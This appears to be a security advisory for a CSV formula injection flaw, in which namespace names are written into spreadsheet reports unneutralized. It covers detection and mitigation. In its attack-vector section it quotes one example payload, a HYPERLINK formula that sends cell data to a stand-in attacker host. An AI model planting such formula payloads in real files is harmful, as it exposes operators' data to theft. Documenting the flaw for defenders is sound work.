CVE-2026-76797 Overview
CVE-2026-76797 is a CSV formula injection vulnerability in the MongoSQL Transition Readiness Tool. The tool writes database and collection names into generated CSV reports without neutralizing leading characters that spreadsheet applications interpret as formulas [CWE-1236]. An authenticated user with write privileges on the cluster can create a namespace whose name begins with a formula trigger character. When an operator opens the resulting report in a spreadsheet application, the crafted content executes as a formula. Exploitation can disclose report contents or fetch external content on the operator's workstation.
Critical Impact
An attacker with cluster write privileges can inject spreadsheet formulas through namespace names, leading to data disclosure or execution of external content when reports are opened.
Affected Products
- MongoSQL Transition Readiness Tool
- MongoDB SQL Interface (report generation component)
- Downstream spreadsheet applications parsing generated CSV output
Discovery Timeline
- 2026-08-28 - CVE-2026-76797 published to NVD
- 2026-08-31 - Last updated in NVD database
Technical Details for CVE-2026-76797
Vulnerability Analysis
The MongoSQL Transition Readiness Tool produces CSV reports that list database and collection namespaces from a MongoDB cluster. The tool serializes namespace identifiers directly into CSV cells without prefixing or escaping characters that spreadsheet applications treat as formula initiators, such as =, +, -, @, and tab or carriage return characters. Microsoft Excel, LibreOffice Calc, and Google Sheets evaluate these strings as formulas at file open time. An attacker who can create or rename a namespace within the cluster controls the raw string that lands in the report. This turns a routine reporting workflow into an attack path against the operator who reviews the output.
Root Cause
The root cause is a failure to neutralize formula elements in a CSV output context, as classified under [CWE-1236]. The report generator trusts namespace strings retrieved from the cluster and writes them verbatim. No sanitization layer wraps user-controlled identifiers in quotes, prepends a leading apostrophe, or filters dangerous prefix characters before serialization.
Attack Vector
Exploitation requires two conditions. First, an attacker must hold write privileges sufficient to create a database or collection whose name begins with a formula character, for example =HYPERLINK("http://attacker.example/leak?d="&A1,"click"). Second, an operator with cluster read access must generate the transition readiness report for that namespace and open it in a spreadsheet application. The formula then executes in the operator's context, potentially exfiltrating cell contents through outbound HTTP requests, launching external programs via DDE, or displaying misleading UI elements. No direct network path to the report generator is required beyond standard cluster authentication.
See the MongoDB SQL Interface Changelog for vendor remediation details.
Detection Methods for CVE-2026-76797
Indicators of Compromise
- Database or collection names beginning with =, +, -, @, tab (\t), or carriage return (\r) characters.
- CSV reports containing cells whose values start with spreadsheet formula prefixes or reference external URLs.
- Outbound network requests from operator workstations to unexpected hosts shortly after opening a generated report.
Detection Strategies
- Audit MongoDB namespace creation events for identifiers containing formula-trigger prefixes.
- Scan generated CSV reports with a lightweight parser that flags cells beginning with =, +, -, or @.
- Correlate report-open events on operator endpoints with subsequent child-process activity or unexpected DNS lookups.
Monitoring Recommendations
- Enable MongoDB audit logging for createCollection and renameCollection events and forward the logs to a central analytics platform.
- Monitor spreadsheet processes such as excel.exe and soffice.bin for network egress or shell child processes on workstations that handle cluster reports.
- Alert on cluster accounts creating multiple namespaces with unusual characters over short intervals.
How to Mitigate CVE-2026-76797
Immediate Actions Required
- Update the MongoSQL Transition Readiness Tool to the fixed release listed in the MongoDB SQL Interface Changelog.
- Review existing namespaces for names beginning with formula-trigger characters and rename or remove them.
- Restrict cluster write privileges to trusted principals following least-privilege principles.
- Instruct operators to open generated CSV reports in a text editor or import them using CSV import dialogs that disable formula evaluation.
Patch Information
MongoDB has addressed the issue in the MongoSQL Transition Readiness Tool. Consult the MongoDB SQL Interface Changelog for the specific fixed version and upgrade instructions. The patch neutralizes formula-trigger characters in namespace values before writing them to CSV output.
Workarounds
- Import CSV reports into spreadsheet applications using explicit text-type column mappings rather than double-clicking to open.
- Preprocess generated CSVs with a script that prepends a leading apostrophe to any cell starting with =, +, -, or @.
- Enforce naming policies on database and collection creation that reject identifiers beginning with formula-trigger characters.
- Disable dynamic data exchange (DDE) and external content in the spreadsheet applications used by operators.
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
